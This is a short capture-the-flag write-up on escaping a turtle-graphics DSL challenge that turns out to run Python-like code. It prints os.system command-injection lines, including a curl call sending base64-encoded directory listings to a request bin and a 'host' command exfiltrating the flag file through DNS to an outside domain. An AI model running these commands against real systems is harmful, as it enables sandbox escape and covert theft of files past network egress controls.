A new cyber-artistic collective had fun experimenting with metaprogramming and domain specific languages. Here thre is a first, broken, implementation of a Turtle graphic engine. http://yturtle.chall.polictf.it
This challenge was about breaking out of an environnement that provided a DSL to create an image output using turtle graphics.
Since the description hinted about metaprogramming, I tried executing function that would be associated to common dynamic languages.
(instance_eval "move(5)") ; returned nothing, it's not Ruby
(move (ord "A")); made the cursor move 41 pixels. ord is very Pythonic function
(import time)
(time.sleep 10) ; delays the response by 10 seconds
Can we use os.system
? Of course!
(import os)
(os.system "sleep 10") ; delays the response by 10 seconds
Since I was not able to get the output of the commands I was running, I tried using an external server.
(import os)
(os.system "curl http://requestb.in/XXXXXX?x=$(ls|base64)") ; response hangs
Access to internet is probably blocked. I then tried using DNS which turned out not to be blocked.
(import os)
(os.system "host $(cat flag*|base64).example.com")
The server receives a DNS query for the subdomain ZmxhZ3tzaGFfbWFfbmFfbmFfbmFfc2hhbWFfbmFfbmFfbmFfbmF9Cg==
which decodes to the flag flag{sha_ma_na_na_na_shama_na_na_na_na}
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The DNS exfiltration was made using DNSBin made by the all mighty HoLyVieR.
Becojo - Northern Coalition